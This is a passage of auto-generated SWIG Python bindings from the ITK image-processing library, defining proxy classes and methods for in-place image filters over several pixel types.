InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2IRGBUC2 Create a new object of the class itkInPlaceImageFilterIUS2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterIUS2IRGBUC2) itkInPlaceImageFilterIUS2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterIUS2IRGBUC2) itkInPlaceImageFilterIUS2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterIUS2IRGBUC2) itkInPlaceImageFilterIUS2IRGBUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterIUS2IRGBUC2) itkInPlaceImageFilterIUS2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterIUS2IRGBUC2) itkInPlaceImageFilterIUS2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_swigregister itkInPlaceImageFilterIUS2IRGBUC2_swigregister(itkInPlaceImageFilterIUS2IRGBUC2) def itkInPlaceImageFilterIUS2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IRGBUC2 *": """itkInPlaceImageFilterIUS2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IRGBUC2_cast(obj) class itkInPlaceImageFilterIUS2ISS2(itkImageToImageFilterAPython.itkImageToImageFilterIUS2ISS2): """Proxy of C++ itkInPlaceImageFilterIUS2ISS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2ISS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2ISS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2ISS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2ISS2 Create a new object of the class itkInPlaceImageFilterIUS2ISS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2ISS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2ISS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2ISS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2ISS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_SetInPlace, None, itkInPlaceImageFilterIUS2ISS2) itkInPlaceImageFilterIUS2ISS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_GetInPlace, None, itkInPlaceImageFilterIUS2ISS2) itkInPlaceImageFilterIUS2ISS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_InPlaceOn, None, itkInPlaceImageFilterIUS2ISS2) itkInPlaceImageFilterIUS2ISS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_InPlaceOff, None, itkInPlaceImageFilterIUS2ISS2) itkInPlaceImageFilterIUS2ISS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_CanRunInPlace, None, itkInPlaceImageFilterIUS2ISS2) itkInPlaceImageFilterIUS2ISS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_swigregister itkInPlaceImageFilterIUS2ISS2_swigregister(itkInPlaceImageFilterIUS2ISS2) def itkInPlaceImageFilterIUS2ISS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2ISS2 *": """itkInPlaceImageFilterIUS2ISS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2ISS2_cast(obj) class itkInPlaceImageFilterIUS2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterIUS2IUC2): """Proxy of C++ itkInPlaceImageFilterIUS2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2IUC2 Create a new object of the class itkInPlaceImageFilterIUS2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_SetInPlace, None, itkInPlaceImageFilterIUS2IUC2) itkInPlaceImageFilterIUS2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_GetInPlace, None, itkInPlaceImageFilterIUS2IUC2) itkInPlaceImageFilterIUS2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_InPlaceOn, None, itkInPlaceImageFilterIUS2IUC2) itkInPlaceImageFilterIUS2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_InPlaceOff, None, itkInPlaceImageFilterIUS2IUC2) itkInPlaceImageFilterIUS2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_CanRunInPlace, None, itkInPlaceImageFilterIUS2IUC2) itkInPlaceImageFilterIUS2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_swigregister itkInPlaceImageFilterIUS2IUC2_swigregister(itkInPlaceImageFilterIUS2IUC2) def itkInPlaceImageFilterIUS2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IUC2 *": """itkInPlaceImageFilterIUS2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUC2_cast(obj) class itkInPlaceImageFilterIUS2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterIUS2IUS2): """Proxy of C++ itkInPlaceImageFilterIUS2IUS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS2IUS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS2IUS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IUS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS2IUS2 Create a new object of the class itkInPlaceImageFilterIUS2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS2IUS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_SetInPlace, None, itkInPlaceImageFilterIUS2IUS2) itkInPlaceImageFilterIUS2IUS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_GetInPlace, None, itkInPlaceImageFilterIUS2IUS2) itkInPlaceImageFilterIUS2IUS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_InPlaceOn, None, itkInPlaceImageFilterIUS2IUS2) itkInPlaceImageFilterIUS2IUS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_InPlaceOff, None, itkInPlaceImageFilterIUS2IUS2) itkInPlaceImageFilterIUS2IUS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_CanRunInPlace, None, itkInPlaceImageFilterIUS2IUS2) itkInPlaceImageFilterIUS2IUS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_swigregister itkInPlaceImageFilterIUS2IUS2_swigregister(itkInPlaceImageFilterIUS2IUS2) def itkInPlaceImageFilterIUS2IUS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS2IUS2 *": """itkInPlaceImageFilterIUS2IUS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS2IUS2_cast(obj) class itkInPlaceImageFilterIUS3IF3(itkImageToImageFilterAPython.itkImageToImageFilterIUS3IF3): """Proxy of C++ itkInPlaceImageFilterIUS3IF3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3IF3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3IF3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IF3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3IF3 Create a new object of the class itkInPlaceImageFilterIUS3IF3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3IF3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3IF3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3IF3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3IF3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_SetInPlace, None, itkInPlaceImageFilterIUS3IF3) itkInPlaceImageFilterIUS3IF3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_GetInPlace, None, itkInPlaceImageFilterIUS3IF3) itkInPlaceImageFilterIUS3IF3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_InPlaceOn, None, itkInPlaceImageFilterIUS3IF3) itkInPlaceImageFilterIUS3IF3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_InPlaceOff, None, itkInPlaceImageFilterIUS3IF3) itkInPlaceImageFilterIUS3IF3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_CanRunInPlace, None, itkInPlaceImageFilterIUS3IF3) itkInPlaceImageFilterIUS3IF3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_swigregister itkInPlaceImageFilterIUS3IF3_swigregister(itkInPlaceImageFilterIUS3IF3) def itkInPlaceImageFilterIUS3IF3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IF3 *": """itkInPlaceImageFilterIUS3IF3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IF3_cast(obj) class itkInPlaceImageFilterIUS3IRGBAUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUS3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterIUS3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterIUS3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterIUS3IRGBAUC3) itkInPlaceImageFilterIUS3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterIUS3IRGBAUC3) itkInPlaceImageFilterIUS3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterIUS3IRGBAUC3) itkInPlaceImageFilterIUS3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterIUS3IRGBAUC3) itkInPlaceImageFilterIUS3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterIUS3IRGBAUC3) itkInPlaceImageFilterIUS3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_swigregister itkInPlaceImageFilterIUS3IRGBAUC3_swigregister(itkInPlaceImageFilterIUS3IRGBAUC3) def itkInPlaceImageFilterIUS3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IRGBAUC3 *": """itkInPlaceImageFilterIUS3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBAUC3_cast(obj) class itkInPlaceImageFilterIUS3IRGBUC3(itkImageToImageFilterBPython.itkImageToImageFilterIUS3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterIUS3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUS3IRGBUC3 Create a new object of the class itkInPlaceImageFilterIUS3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUS3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUS3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUS3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUS3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterIUS3IRGBUC3) itkInPlaceImageFilterIUS3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterIUS3IRGBUC3) itkInPlaceImageFilterIUS3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterIUS3IRGBUC3) itkInPlaceImageFilterIUS3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterIUS3IRGBUC3) itkInPlaceImageFilterIUS3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterIUS3IRGBUC3) itkInPlaceImageFilterIUS3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_swigregister itkInPlaceImageFilterIUS3IRGBUC3_swigregister(itkInPlaceImageFilterIUS3IRGBUC3) def itkInPlaceImageFilterIUS3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3IRGBUC3 *": """itkInPlaceImageFilterIUS3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterIUS3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3IRGBUC3_cast(obj) class itkInPlaceImageFilterIUS3ISS3(itkImageToImageFilterAPython.itkImageToImageFilterIUS3ISS3): """Proxy of C++ itkInPlaceImageFilterIUS3ISS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUS3ISS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUS3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUS3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUS3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUS3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUS3ISS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUS3ISS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUS3ISS3 *": """cast(itkLightObject obj) -> 